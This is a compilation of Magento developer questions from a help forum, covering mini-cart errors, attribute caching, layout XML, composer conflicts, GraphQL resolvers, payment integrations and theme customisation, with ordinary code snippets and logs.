texts: Mini cart doesn't work only after refreshing the page

texts:
My mini cart stopped working. He did it before, just now when I several times refresh the page. Please help me this is my system log:

2015-04-24T10:16:54+00:00 ERR (3): Notice: Use of undefined constant tmp - assumed 'tmp'  in /home/mutinct/domains/proward.nl/public_html/lib/Zend/Cache.php on line 153
2015-04-24T10:17:02+00:00 ERR (3): Notice: Use of undefined constant tmp - assumed 'tmp'  in /home/mutinct/domains/proward.nl/public_html/lib/Zend/Cache.php on line 153
2015-04-24T10:17:10+00:00 ERR (3): Notice: Use of undefined constant tmp - assumed 'tmp'  in /home/mutinct/domains/proward.nl/public_html/lib/Zend/Cache.php on line 153
2015-04-24T13:09:05+00:00 ERR (3): Warning: file_put_contents(/home/mutinct/domains/proward.nl/public_html/media/css/b91898aef24311cbad9dcc27ccf869cd.css): failed to open stream: Permission denied  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Helper/Data.php on line 753
2015-04-24T13:09:06+00:00 ERR (3): Warning: file_put_contents(/home/mutinct/domains/proward.nl/public_html/media/css/11124eecaaf7442049816083a1320618.css): failed to open stream: Permission denied  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Helper/Data.php on line 753
2015-04-24T13:09:06+00:00 ERR (3): Warning: file_put_contents(/home/mutinct/domains/proward.nl/public_html/media/css/d311dcf8966776978064ca4b124dacdc.css): failed to open stream: Permission denied  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Helper/Data.php on line 753
2015-04-24T13:09:06+00:00 ERR (3): Warning: file_put_contents(/home/mutinct/domains/proward.nl/public_html/media/js/a2353b9fbd2fa59432acb742a909e6b1.js): failed to open stream: Permission denied  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Helper/Data.php on line 753
2015-04-24T13:09:06+00:00 ERR (3): Warning: file_put_contents(/home/mutinct/domains/proward.nl/public_html/media/css/031e031e6adb09429a4642bf1bfa3f3d.css): failed to open stream: Permission denied  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Helper/Data.php on line 753
2015-04-24T13:09:06+00:00 ERR (3): Warning: file_put_contents(/home/mutinct/domains/proward.nl/public_html/media/js/004d73a3559f263ef03e79fcfdbcf4b8.js): failed to open stream: Permission denied  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Helper/Data.php on line 753
2015-04-24T13:10:43+00:00 ERR (3): Notice: Undefined index: unsigned  in /home/mutinct/domains/proward.nl/public_html/app/code/core/Mage/Core/Model/Resource/Helper/Abstract.php on line 310
2015-04-24T13:11:22+00:00 ERR (3): Warning: Division by zero  in /home/mutinct/domains/proward.nl/public_html/app/design/frontend/smartwave/porto/template/checkout/cart/minicart/default.phtml on line 10
2015-04-24T13:11:22+00:00 ERR (3): Warning: Division by zero  in /home/mutinct/domains/proward.nl/public_html/app/design/frontend/smartwave/porto/template/checkout/cart/minicart/default.phtml on line 10
2015-04-24T13:11:29+00:00 ERR (3): Warning: Division by zero  in /home/mutinct/domains/proward.nl/public_html/app/design/frontend/smartwave/porto/template/checkout/cart/minicart/default.phtml on line 10
2015-04-24T13:43:07+00:00 ERR (3): Notice: Undefined variable: _prev_prod  in /home/mutinct/domains/proward.nl/public_html/app/code/local/Smartwave/Porto/Helper/Data.php on line 133
2015-04-24T13:43:07+00:00 ERR (3): Notice: Undefined variable: _next_prod  in /home/mutinct/domains/proward.nl/public_html/app/code/local/Smartwave/Porto/Helper/Data.php on line 171
2015-04-24T15:17:43+00:00 ERR (3): Notice: Undefined variable: _prev_prod  in /home/mutinct/domains/proward.nl/public_html/app/code/local/Smartwave/Porto/Helper/Data.php on line 133
2015-04-24T15:17:43+00:00 ERR (3): Notice: Undefined variable: _next_prod  in /home/mutinct/domains/proward.nl/public_html/app/code/local/Smartwave/Porto/Helper/Data.php on line 171


texts: How to set default state value in checkout in magento2?

texts: How to set default state value in state field in checkout page same as country in magento2?


texts: After creating an attribute i can get it only after i wait some time

texts:
this is a thing that happend almost all the time i need to create a new custom attribute, for example for a category.

I correctly add the new attribute in the setup file of my module,
it correctly appear in the backend and i can edit/change it with success.

BUT, when i try to get that attribute in the frontend it simply return an empty string.

This for just some time, after i wait without doing nothing it magically start returning the correct data and i can't understand how is possible.

This is a pain when i have to release things on production, can someone illuminate me ?

Sometimes deleting manually the content of var/cache/* do the job, sometimes not.

Below some piece the piece of code that i usually use to get the attribute:

$categoryIds = array(8, 9, 10, 11, 12);

$collection= Mage::getResourceModel('catalog/category_collection');
$collection->addAttributeToFilter('entity_id',array('in' => $categoryIds));
$collection->addAttributeToSelect('max_meals');

$limits = array();
foreach ($collection as $category)
    $limits[$category->getId()] = $category->getMaxMeals() > 0 ? $category->getMaxMeals() : 0;


texts:
I am trying to create a custom form validation like in this tutorial. To do things the "clean" way, I tried to include my js file from my module but it doesn't seem to be working.

app\code\local\Jurgis\Validationenable\etc\config.xml

<?xml version="1.0"?>

<config>
    <modules>
        <Jurgis_Validationenable>
            <version>0.1.0</version>
        </Jurgis_Validationenable>
    </modules>
    <frontend>
        <layout>
                <Jurgis_Validationenable>
                    <file>layout.xml</file>
                </Jurgis_Validationenable>
        </layout>
    </frontend>
</config>

app\code\local\Jurgis\Validationenable\etc\layout.xml

<?xml version="1.0"?>
<layout version="0.1.0">
<default>
    <reference name="head">
        <action method="addJs"><script>Jurgis_Validation.js</script></action>
    </reference>
</default>
</layout>

it works if I straight up include it in app/design/frontend/base/default/layout/page.xml.

edit

It is still not working when I try to enable the layout through my module. My code: (The .js file is still in the same location)

app\code\local\Jurgis\Validationenable\etc\config.xml

<?xml version="1.0"?>
<config>
    <modules>
        <Jurgis_Validationenable>
            <version>0.1.0</version>
        </Jurgis_Validationenable>
    </modules>
    <global>
        <helpers>
            <Jurgis_Validationenable>
                <class>Jurgis_Validationenable_Helper</class>
            </Jurgis_Validationenable>
        </helpers>
    </global>
    <frontend>
        <layout>
            <updates>
                <Jurgis_Validationenable>
                    <file>Jurgis_Validationenable.xml</file>
                </Jurgis_Validationenable>
            </updates>
        </layout>
        <translate>
            <modules>
                <Jurgis_Validationenable>
                    <files>
                        <default>Jurgis_Validationenable.csv</default>
                    </files>
                </Jurgis_Validationenable>
            </modules>
        </translate>
    </frontend>
</config>

app\design\frontend\base\default\layout\Jurgis_Validationenable.xml

<?xml version="1.0"?>
<layout version="0.1.0">
    <default>
        <reference name="head">
            <action method="addJs"><script>Jurgis_Validation.js</script></action>
        </reference>
    </default>
</layout>

js\Jurgis_Validation.js


texts: Show layered subcategories on the left of the subcategories page

texts:
I am having an issue. I need to show the sub-category layered navigation on the SUBCATEGORY page of a store that I am working on. You guys already know that on the subcategory layered navigation is already shown on the MAIN Category page(s). Please understand that I want it to show on both the Category(s) and Sub-Category(s) pages. Please view the images to see what I have already.

Main Category Page!
Main Category Layered navigation

Sub Category Page! with Layered Navigation (Limited sub category list)
Sub Category Layered Navigation (Limited list)

But to in getting the limited sub category layered navigation I tried this:
https://stackoverflow.com/questions/8795810/magento-showing-sibling-categories-in-layered-navigation

All I need is help with is editing:

  app/code/core/Mage/Catalog/Model/Layer/Filter/Category.php

For this line of code to show the full sub category on the sub category page and highlight the current/active category

        if(count($categoty->getChildrenCategories())){
    $categories = $categoty->getChildrenCategories();
}else{
    $categories = $categoty->getParentCategory()->getChildrenCategories();
}


texts:
I am trying to install new module using artifacts and composer. It returns an error at the end

> ([ $COMPOSER_DEV_MODE -eq 0 ] || vendor/bin/phpcs --config-set installed_paths ../../magento/magento-coding-standard/)

Fatal error: Uncaught LogicException: Module 'Infortis_UltraSlideshow' from '/var/www/html/app/code/Infortis/UltraSlideshow' has been already defined in '/var/www/html/vendor/Infortis/UltraSlideshow'. in /var/www/html/vendor/magento/framework/Component/ComponentRegistrar.php:50
Stack trace:
#0 /var/www/html/app/code/Infortis/UltraSlideshow/registration.php(6): Magento\Framework\Component\ComponentRegistrar::register('module', 'Infortis_UltraS...', '/var/www/html/a...')
#1 /var/www/html/app/etc/NonComposerComponentRegistration.php(29): require_once('/var/www/html/a...')
#2 [internal function]: Magento\NonComposerComponentRegistration\{closure}('/var/www/html/a...')
#3 /var/www/html/app/etc/NonComposerComponentRegistration.php(29): array_map(Object(Closure), Array)
#4 /var/www/html/app/etc/NonComposerComponentRegistration.php(33): Magento\NonComposerComponentRegistration\{closure}()
#5 /var/www/html/vendor/composer/autoload_real.php(70): require('/var/www/html/a...')
#6 /var/www/html/vendor/composer/autoload_real.php(60): c in /var/www/html/vendor/magento/framework/Component/ComponentRegistrar.php on line 50
Script ([ $COMPOSER_DEV_MODE -eq 0 ] || vendor/bin/phpcs --config-set installed_paths ../../magento/magento-coding-standard/) handling the post-update-cmd event returned with error code 255

Installation failed, reverting ./composer.json to its original content.

it reverts changes from composer.json but under app/code(I dont know why there) and in vendor module is installed.
tried that https://github.com/mageplaza/module-core/issues/3 but no success.


texts: how to get swatches attribute option in magento 2

texts:
how to get progmatically swatches attribute option data in magento 2.
I tried this:-

\Magento\Eav\Model\ResourceModel\Entity\Attribute\Option\CollectionFactory
$options = $this->_attrOptionCollectionFactory->create()->setAttributeFilter(
                        $id
                )->setPositionOrder(
                        'asc', true
                )->setStoreFilter($storeid[$i])
                ->load();

with this above code i only get option data, not the swatches value. Please advice.


texts: component manager gives the error that cron jobs has not been configured yet

texts:
I reindexed the indexers running the following commands:

php ./magento cron:run
php ./magento indexer:reindex

and the reindex was performed succesfully

Bt when I open component manager in magento admin, it checks for readiness and gives the following error

My server's OS is windows 7. So, please give the relevant answer.


texts:
Since we've noticed the update of Magento into the version 2.0, which has been a great update I have a serious query.

Basically the thing is that, I have a theme installed on my magento, and I am worried about its working after the upgrade of Magento. The theme is ULTIMO which is available on themeforest.

Can someone let me know if things are gonna get problematic on update of Magento, i.e. will my settings get any issues, and also will my theme face any issues?

Would be glad if someone can guide me through it.


texts: Search dropdown doesn't use z-index correctly

texts:
We have a search dropdown on our website. But when you search it generates a dropdown that doesn't function correctly. When searching the dropdown has the wrong z-index, so when clicking the searched keyword it redirects to the category underneath:

The website can be found here: https://www.thefixedgearshop.com/


texts: How to add custom styles to Bought theme in Magento2?

texts:
I have applied a free theme on my magento2 store that don't have css file to edit custom styles. But it has less files like below,

app/design/frontend/<Vendor>/<theme>/web/css/source/_theme.less, _custom.less

I tried below link to create custom theme in magneto2.

include css in magento2 for custom theme.

Where i added styles.css inside

web/css folder like below and whenever i add styles it affects on the website.

app/design/frontend/<Vendor>/<theme>/web/css/styles.css

But how to edit .less files to make work like the above one?
Please anyone suggest how to work on css styles to the purchased themes?


texts: Can't Upload Products images to DigitalOcean CDN?

texts:
I have Integrated DigitalOcean CDN with Magento2.2.7 version.
I can get images from CDN successfully but when I am uploading product images then it is not uploading to CDN directly.
Is required any Extension to upload Images to CDN?


texts: How to extend backend template files in Magento 2

texts:
I could not find how to extend backend template files in Magento 2, however i have found how to extend frontend template files from here. If I extend the file at design/adminhtml/Magento/backend it may override in Magento upgrades version.
So I want to write on design/adminhtml/vendor/backend and module specific folders.
However i tried this by placing the required phtml files, but it is not showing from my path, its taking from default magento path.

C:\xampp\htdocs\NewMagento2\app\design\adminhtml\vendor\backend\Magento_Customer\layout\customer_form.xml

<?xml version="1.0"?>
<!--
/**
 * Copyright © 2015 Magento. All rights reserved.
 * See COPYING.txt for license details.
 */
-->
<page xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="../../../../../../../lib/internal/Magento/Framework/View/Layout/etc/page_configuration.xsd">
    <body>
        <referenceBlock name="form">
            <block class="Magento\Customer\Block\Adminhtml\Edit\Tab\View" name="customer_edit_tab_view" template="tab/view.phtml">
                <arguments>
                    <argument name="tab_label" xsi:type="string">Customer View</argument>
                    <argument name="sort_order" xsi:type="number">10</argument>
                </arguments>
                <block class="Magento\Customer\Block\Adminhtml\Edit\Tab\View\PersonalInfo" name="personal_info" template="tab/view/personal_info.phtml"/>
            </block>
        </referenceBlock>
    </body>
</page>

C:\xampp\htdocs\NewMagento2\app\design\adminhtml\Vendor\backend\Magento_Customer\templates\tab\view.phtml

<?php
echo $this->getChildHtml();

And if i use templatehints from backend still its showing from magento default i.e. C:/xampp/htdocs/NewMagento2/app/code//Magento/Customer/view/adminhtml/templates/tab/view.phtml

Help me in detail on how to extend Magento2 admin template files


texts: Magento 2.2.9 - Problem with one product attribute

texts:
I have one problem when i want to Save some changes in product page in Admin Page

(Catalog->Inventory->Products->One of the products, configurable or simple).

One of the attributes, in this case this is length (which parameters you see) is causing some problems when i add it to the Attribute Set (whichever).

Normally when I save changes in product attributes, all of the changes are applied. But when list of attributes has got 'length', when i write new value to the whichever attribute, or check the checkbox with "Use default value", and hit Save, page refreshes and nothing is saved. All attributes go to values that they have before the save.
One thing that i saw, when i was debugging this problem is that, the $data variable which i've got from

$this->getRequest()->getPostValue();

has got use_default array which is changing when i want to save attributes. But when there is no lenght attribute this array is full of informations.

But when I add `length' to the list of attributes, this array has got only one word which is "".

So there is problem somewhere but i can't find him. I am new to Magento and i don't everything about product attributes.
And one more information about this problem is that i make new attribute that has the same options checked and this attribute is working good and making no problems when i save product changes.


texts: Where to change the text on the CHECKOUT login page (STEP1)?

texts:
I´ve tried to modify some text in several different files but it does not seem to reflect where I need to change it....I am trying to change/add some text to the CHECKOUT page STEP 1 where it says:

  CHECKOUT AS A GUEST OR REGISTER

and

  LOGIN

  Already registered?

  Please log in below:
  *Email Address

Any suggestions? Thanks!


texts:
I've  failure on running job from google sheet it gives me that message while all data are given \
We can't find required columns: sku. Columns number: "1" have empty headers


texts: How to Change Footer Copyright Text in Magento2?

texts:
I want to customize Magento\Theme\Block\Html\Footer class in magento2.

how can i change some text and style of footer copyright text with custom module..


texts:
I am trying to use custom code to show shipping estimates based on the product SKU or Manufacturer.
the SKU is loading fine in the cart but I can't get the product to load a custom attribute 'manufacturer'
Here is the code on the cart
$stock = Mage::getModel( 'cataloginventory/stock_item' )->loadByProduct( $_product );

$sku_code = substr( $_product->getSku(), 0, 1 );
?>

  Estimated Ship by:

  <?php if ($stock->getQty()==0): ?>
  <?php echo date('l jS \of F Y',strtotime("+21 day")); ?>
  <?php elseif ($_product->getAttributeText('manufacturer') == "Dora"): ?>
  <?php echo date('l jS \of F Y',strtotime("+14 day")); ?>
  <?php elseif ($sku_code == 'M'): ?>
  <?php echo date('l jS \of F Y',strtotime("+25 day")); ?>

As you can see I have two different time sets depending on the manufacturer and sku.
your help is much appreciated.


texts: Upgrade Magento 2.3.2 to 2.3.5-p1 version.


texts:
Magento 2.0 has several optional extensions (they are not necessarily  to be installed). How can I safely announce the class dependency for these extensions in my __constract method? Please note that my class is supposed to work even if such extensions don't exist.
Simple Example:

  public function __construct(\Magento\Super\Model\System $system)
        {
            $this->_syperSystem = $system;
        }

    //Result:: Class Magento\Super\Model\System does not exist

May be create a factory, which returns a needed object if extension is included or null else and add this factory in __construct() ?


texts: Return to the Magento default theme in Magento 1.9

texts:
I want to return to the default theme of Magento, but when i put "default" in the "Current Package Name" space there are no changes on my website.

The site is the same as before.

I want to do this because I want to understand if one error on my site was caused from the theme or from the code.


texts: magento 1.7 : Cannot reindex product_flat_data

texts:
I get the following error while trying to reindex my magento database..

  Product Flat Data index process unknown error:
  exception 'PDOException' with message 'SQLSTATE[23000]: Integrity constraint >violation: 1452 Cannot add or update a child row: a foreign key constraint fails >(d014505f., CONSTRAINT >FK_CAT_PRD_FLAT_1_ENTT_ID_CAT_PRD_ENTT_ENTT_ID FOREIGN KEY (entity_id) >REFERENCES catalog_product_entity (`e)' in >/www/htdocs/w00f5624/lib/Zend/Db/Statement/Pdo.php:228

How do i fix this??


texts: Magento 2 | How to include third party library by adding at 'lib/'?

texts:
This is not about adding by composer. This is about downloading and then using it.
For Example: I download TCPDF Library and follows these steps it should be installed and usable but it doesn't works as explained.

When we need use this line?

require_once DIR . '/../../../../../lib/folder/folder/ntlmstream.php';

What is the Role of autoload?

Thanks


texts: Migrating email templates variable from Magento 1.9 to Magento 2.3.4

texts: I successfully migrated my Magento 1.9.3 to Magento 2.3.4 , the problem is the Magento 2.3.4 does not support this kind of variable {{var order.getCustomerName()}} because i need to change it into {{var order_data.customer_name()}} based on this documentation. Should i change the variable one by one? is there any script or method that can handle this automatically? or is there a way to allow this variable to be called up in Magento 2.3.4 email templates?


texts: Magento 2 PWA not updating data realtime

texts:
In my magento 2 backend I have created a graphql and a resolver to add my products to compare list from front end
schema.graphql
type Mutation {
    addProductToCompareList(productId:String!): AddProductToCompareListOutput @resolver(class: "NeoSolax\\CompareList\\Model\\Resolver\\addToCompareList")@doc(description:"Add products to compare")
}

type AddProductToCompareListOutput {
    count:Int
    listUrl:String
    items:[CompareItem]
}
type CompareItem {
    id:String
    sku:String
}

addToCompareList.php
 public function resolve(
        Field $field,
        $context,
        ResolveInfo $info,
        array $value = null,
        array $args = null
    ) {
        /** @var ContextInterface $context */
        $productId = $args['productId'];

        $customerId = $context->getUserId();

        /* Guest checking */
        if (null === $customerId || 0 === $customerId) {
            throw new GraphQlAuthorizationException(__('The current user cannot perform operations on wishlist'));
        }

        if ($productId ) {
            $storeId = $this->_storeManager->getStore()->getId();
            try {
                /** @var Product $product */
                $product = $this->productRepository->getById($productId, false, $storeId);
            } catch (NoSuchEntityException $e) {
                $product = null;
            }

            if ($product) {
                $this->addProduct($product,$customerId);
            }

        }
        $compareList = $this->compareProducts->getSectionData();
        $comparelistItems = $this->getCompareList->getCompareListItems($customerId)->getData();
        return [
            'items' => $comparelistItems,
            'count'=>$compareList['count'],
            'listUrl'=>$compareList['listUrl']
        ];
    }

    /**
     * Add product to Compare List
     *
     * @param int|Product $product
     * @param $customerId
     * @return $this
     * @throws Exception
     */
    public function addProduct($product,$customerId)
    {
        $item = $this->_compareItemFactory->create();
        $this->_addVisitorToItem($item,$customerId);
        $item->loadByProduct($product);

        if (!$item->getId() && $this->productExists($product)) {
            $item->addProductData($product);
            $item->save();
        }

        return $this;
    }

    /**
     * Add visitor and customer data to compare item
     *
     * @param Item $item
     * @param $customerId
     * @return $this
     */
    protected function _addVisitorToItem($item,$customerId)
    {
        $item->addVisitorId($this->_customerVisitor->getId());
        if ($customerId !== null) {
            $item->setCustomerId($customerId);
        }

        return $this;
    }

    /**
     * Check product exists.
     *
     * @param int|Product $product
     * @return bool
     */
    private function productExists($product)
    {
        if ($product instanceof Product && $product->getId()) {
            return true;
        }
        try {
            $product = $this->productRepository->getById((int)$product);
            return !empty($product->getId());
        } catch (NoSuchEntityException $e) {
            return false;
        }
    }

I use React hook useMutation to add product from react pwa frontend
  const [addProductToCompareList, { error, loading }] = useMutation(
        addProductToCompareListMutation,
        {
            variables: {
                productId
            }
        }
    );

    const handleAddToCompareList = useCallback(async () => {
        try {
            await addProductToCompareList();
        } catch {
            return;
        }
    }, [addProductToCompareList]);

The Problem is that when I click add button and the data is added but the data count and data is loaded to the page only after I reload the page.How can I update the data realtime without reloading the page. What is wrong with my implementation. Please help


texts: Product pages throws 404 page not found after data migration from 1.6 to 2.3.1

texts: I migrated site from Magento version 1.6.2.0 to Magento version 2.3.1 afterwards when I open all product shows 404 page not found error in front-end


texts: Short Description / Description field, import Custom Attribute field

texts:
Example:
A product has a custom attribute called "wheel_size_1mm" where I choose from a drop down the size of the wheel.
Is there an html code or similar I can use in "Description" / "Short Description" fields that will display that attribute?
In the WYSIWYG editor I've seen the following option "Insert/edit attributes" but I can't find any documentation for this and assume it's not actually related to pulling any information from custom attributes.
I've played with it but no luck.
But:
I know you're going to say, why do you need that info when it's already displayed in the "Additional Info" section.
Well, I have an extension for bundled products that pulls images and the short description for bundled simple products, to show customers better what they're choosing instead of just a dropdown list.
Here's an example you can check out:
https://www.newtons-shred.co.uk/courtney-conlogue-carver-pro-model-surfskate.html
The extension is BunbledMojo IIRC.
So I really want to remove the hassle of manually updating product "Description" / "Short Description" fields, and work the product attributes instead.
Effectively turning catalogue updating into a data entry task.
So:
Can magento handle this with some built in feature I'm missing?
Or do I need to look into export/import automated alternatives?
Do I need to upgrade from 1.7 to a version with this feature?
My IT partner tells me the Magento database is a clusterfudge and a pain to work with, otherwise this kind of thing would be easy to do.


texts:
OUT OF STOCK ISSUE:-

Some Downloadable Products are OUT OF STOCK in Product Page, AT the same time In Product Detail Page. Same Downloadable Products showing the Instock. What the reason of showing the out of stock in Product Page. please help me!


texts: Product attribute create/update using rest api and assign it to attribute set

texts:
I am creating product attributes using rest API with the below request body.
End point rest/V1/products/attributes/
    {
  "attribute": {
    "is_wysiwyg_enabled": false,
    "is_html_allowed_on_front": false,
    "used_for_sort_by": false,
    "is_filterable": true,
    "is_filterable_in_search": true,
    "is_used_in_grid": true,
    "is_visible_in_grid": false,
    "is_filterable_in_grid": true,
    "position": 0,
    "apply_to": [],
    "is_searchable": "1",
    "is_visible_in_advanced_search": "1",
    "is_comparable": "1",
    "is_used_for_promo_rules": "0",
    "is_visible_on_front": "0",
    "used_in_product_listing": "1",
    "is_visible": true,
    "scope": "global",
    "attribute_code": "text_api_attribute",
    "frontend_input": "text",
    "entity_type_id": "4",
    "is_required": false,
    "is_user_defined": true,
    "default_frontend_label": "Att Label updated",
    "frontend_labels": null,
    "backend_type": "int",
    "default_value": "",
    "is_unique": "0"
  }
}

it's get created successfully but how can I assign this attribute to the attribute set.tried with group: General but its not defined in interface so it throw error.
also there is an error when try to update using PUTmethod rest/V1/products/attributes/rest/V1/products/attributes/
{
"message": "%1 already exists.",
"parameters": [
    "Attribute with the same code"
]

}


texts: do I have to flush a cache to enable my javascript mixin

texts:
I did create a mixins this morning for the checkout (shipping address exactly)
Whilst it has been some time since I have not added a mixins, it is a fairly standard feature in magento frontend customisation. Yet, after clearing cache, browser cache and trying to see my mixins, I cannot succeed to load the mixin as expected
Is there a way to reliable ensure a new javascript mixins can be loaded?


texts: How to display the total discount amount on my shopping cart?

texts:
How can I display the total discount amount on my shopping cart?

I can get the subtotal and grandtotal from the code below, but what about the total discount?

$quote = Mage::getSingleton('checkout/cart')->getQuote();
$grandTotal = $quote->getGrandTotal();
$subTotal =  $quote->getSubtotal();
var_dump($subTotal);

What I need,

Subtotal           €220
Discount           €20
TOTAL AMOUNT       €200

What from Magento,

Subtotal           €200 // should be €220
Discount
TOTAL AMOUNT       €200

I'm using Magento 1.8


texts:
I Created a Custom Payment Method Module and its work perfectly but in the redirect to success page i use this code below:
Mage_Core_Controller_Varien_Action::_redirect('checkout/onepage/success', array('_secure' => true, '_query'=> $parameters));

in this code i created an array named _query with all parameters from external gateway $parameters so my question how i can read there parameters in success page in checkout success.phtml


texts: How to Override abstract class protected function for admin field?

texts:
https://github.com/magento/magento2/pull/19107/commits/4289c533d0aa7d151b9e3e42f3fdcb9932a785ea
need to apply this solution to my store but unable to override and change this code line. Need to override and change. Magento admin field not accepting zero added or removed in first character on save. For this I need to override and make this code change as told in git hub link.


texts: Dependency injection confusion Magento 2

texts:
I hope this is the correct place to ask the question for this. I read the tutorial about DI for Magento 2, I almost get it the concept. How Magento 2 use di in the framework. After reading I get to know that to use di we need to inject our object into the constructor.

But after reading di.xml files of core magento 2 I am little bit confusion, somewhere I see that,

<type name="Magento\Quote\Model\Quote\Address">
        <arguments>
            <argument name="addressConfig" xsi:type="object">Magento\Customer\Model\Address\Config\Proxy</argument>
            <argument name="secondConfig" xsi:type="object">Magento\Customer\Model\Address\Config\Proxy</argument>
            <argument name="thirdConfig" xsi:type="object">Magento\Customer\Model\Address\Config\Proxy</argument>
            ............................
        </arguments>
    </type>

I am not getting why this is written like this?  Also, If initialized the Magento\Quote\Model\Quote\Address object then I have access to 3 objects ?so can anyone explain me about this?

EDIT

This is I am using in my custom extension,

  <type name="Vendor\Module\Model\Mymodel">
        <arguments>
            <argument name="dataSource" xsi:type="array">
                <item name="name1" xsi:type="object">Vendor\Module\Model\ModelClass1</item>
                <item name="name2" xsi:type="object">Vendor\Module\Model\ModelClass2</item>
            </argument>
        </arguments>
    </type>

So If Initialize Vendor\Module\Model\Mymodel in my another class constructor like,

protected $myModel;

public function __construct(
    ...
    \Vendor\Module\Model\Mymodel $myModel,
    ....
) {
    ....
    $this->myModel = $myModel;
    ....
}

SO If I use $this->myModel in my method then i can have access of ModelClass1 or ModelClass2 ?


texts: how to change login button to logout when the user is logged in

texts:
I have added a login link in Magento top links by using deafult.xml and set the URL as default Magento sign-in URL

default.xml

<block class="Learning\Module\Block\Link1" name="custom-header-linkyy">

                <arguments>
                <argument name="label" xsi:type="string" translate="true">Login</argument>
                <argument name="path" xsi:type="string" translate="true">customer/account/login/</argument>
                </arguments>

          </block>

     </referenceBlock>

link1.php

<?php
namespace Learning\Module\Block;

class Link1 extends \Magento\Framework\View\Element\Html\Link
{
/**
* Render block HTML.
*
* @return string
*/
protected function _toHtml()
    {
     if (false != $this->getTemplate())
     {
     return parent::_toHtml();
     }
     return '
getLinkAttributes() . ' >' . $this->escapeHtml($this->getLabel()) . '
';
    }
}

now what I want is when a customer clicks and logged in successfully that button should be changed to logout
is there any solution for this thanks in advance


texts:
I want to customize the Magento admin with an stylish icon font (think Wingdings).

In most cases it's easy enough to do entirely via CSS with the :before pseudo-selector, outputting content: that is relevant and is styled with the aforementioned font.

But, in some cases, I don't just want to prepend an icon - I want the entire text to be in said font. My first thought is to do it via translation file:

translate.csv:

"CMS","CMS"

So - while this may work - it feels like a hack and I'm concerned that the markup would be used in places I don't intend it to be. I'd really like some feedback on alternate methods of accomplishing this. Is there a better way?


texts: getResourceModel can't find local collection

texts:
$collection = Mage::getResourceModel('customreports/report_collection');

where customreports is my module name and I have a Collection.php file within Model/Resource/Report folder.  getResourceModel is returning false or NULL or whatever.

I basically copied Collection.php from Mage's Reports/Model/Resource/Report/ folder but removed some functions.

Why would getResourceModel return NULL?


texts: Magento2, overriding braintree PaymentMethod for partial payment

texts:
In order to make the partial payment possible, should custom module override PaymentMethod.php file in below path? How would be for and type in di.xml?

/vendor/braintree/braintree_php/lib/Braintree/PaymentMethod.php

In di.xml

<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:framework:ObjectManager/etc/config.xsd">
    <preference for="vendor\braintree\braintree_php\lib\Braintree\PaymentMethod" type="Myvendor\myModule\lib\CustomPaymentMethod" />
</config>

CustomPaymentMethod.php

<?php
namespace Myvendor\myModule\lib;

class CustomPaymentMethod extends Base
{
    protected $_canCapture                  = true;
    protected $_canCapturePartial           = true;

    // static methods redirecting to gateway

    public static function create($attribs)
    {
        return Configuration::gateway()->paymentMethod()->create($attribs);
    }

    public static function find($token)
    {
        return Configuration::gateway()->paymentMethod()->find($token);
    }

    public static function update($token, $attribs)
    {
        return Configuration::gateway()->paymentMethod()->update($token, $attribs);
    }

    public static function delete($token)
    {
        return Configuration::gateway()->paymentMethod()->delete($token);
    }
}
class_alias('Braintree\PaymentMethod', 'Braintree_PaymentMethod');


texts: I accidentally delete the pub/static by running the command "rm -rf pub/static*" instead of "rm -rf pub/static/*". Now, i need to run "setup:static-content:deploy -f "in developer mode every time I deleted the static folder. i tried copy and paste the .htaccess file actually the whole pub folder from the magento sample data to my current project, but the issue is not fixed. any tips will be greatly thankful.


texts: magento2 : copy sales_order table custom data to sales_order_grid

texts:
i want to add custome data when data adds in sales_order automatically it copied into  sales_order_grid
i have same name column in both table


texts: Getting error regarding Magento 2 Order Rest API Unknown or expired payment_method_nonce with Braintree Payapl

texts:
I am using Magento 2 REST API in my Node application everything is working fine but i done an order using Magento 2 REST API it will give me an error.
 Braintree\Error\Validation::__set_state(array(
               '_attribute' => 'paymentMethodNonce',
               '_code' => '91565',
               '_message' => 'Unknown or expired paymentMethodNonce.',
            )),

So when i checked the nonce will be there when i order the item
My Payload is
api.cart.order(null, cartId, {
            'paymentMethod': {
              'method': orderData.addressInformation.payment_method_code,
              'additional_data': orderData.addressInformation.payment_method_additional
            }
          }

in methid it will give braintree_paypal and in additional data it will be { payment_method_nonce: '4d58db08-8adf-00bd-622c-4f472d97ddsds' }


texts: Magento 2 Sample data and logo missing in custom theme

texts:
I have been trying to create a theme based on the luma theme.

I have successfully created the new theme, but once I switch over to the new theme, the sample data does not show up any more.

How to get Sample Data and Logo in custom theme.


texts: Magento 2 - How to get Addresses collection

texts:
In Magento 2, I try to get addresses collection from table 'customer_address_entity', filter by updated_at field.
I know I can get addresses for customer with this :
$customer = $this->_customerRepository->getById($customerId);
$addresses = $customer->getAddresses();

I don't want to load every customer, is there a way to get addresses collection like this,
but instead of '_customerFactory' is there a '_addressFactory' method ?:
$collection = $this->_customerFactory->create()->getCollection()
                ->addAttributeToSelect("*")
                ->addAttributeToFilter("updated_at", array("gteq" => $start))
                ->addAttributeToFilter("updated_at", array("lteq" => $end))
                ->load();


texts: Change checkout table in order confirmation step

texts:
How can I modify the totals table in the checkout? I need to change the output cells:

First display Steuer = Tax, then Vesand = Shipping.


texts: Change list view to grid view on Magento home page

texts:
I am using gala giftshop theme and trying to display my products on home page in grid view.
Here is the content we are referring to display my products.

{{widget type="dynamicproducts/dynamicproducts" order_by="name asc" featured_choose="em_featured"  column_count="4"  frontend_title="Featured Products" thumbnail_width="215" thumbnail_height="215" show_product_name="true" show_thumbnail="true" show_description="false" show_price="true" show_reviews="false" show_addtocart="true" show_addto="false" show_label="true" choose_template="custom_template" custom_theme="em_sale_products/sale_home.phtml"}}

In above code choose-template="custom_template" refers to the featured_grid.phtml.

In catalog also I enabled the grid view as default.


texts: Unable to get cart item in custom phtml - Magento 2

texts:
I am trying to get cart items info in my module's phtml file:

/app/code/Essence/Fcf/view/frontend/templates/packages.phtml

Here is my working url: http://essence.onlineprojectprogress.com/packages

And this is my code:

<?php
    $cart = $objectManager->get('\Magento\Checkout\Model\Cart');

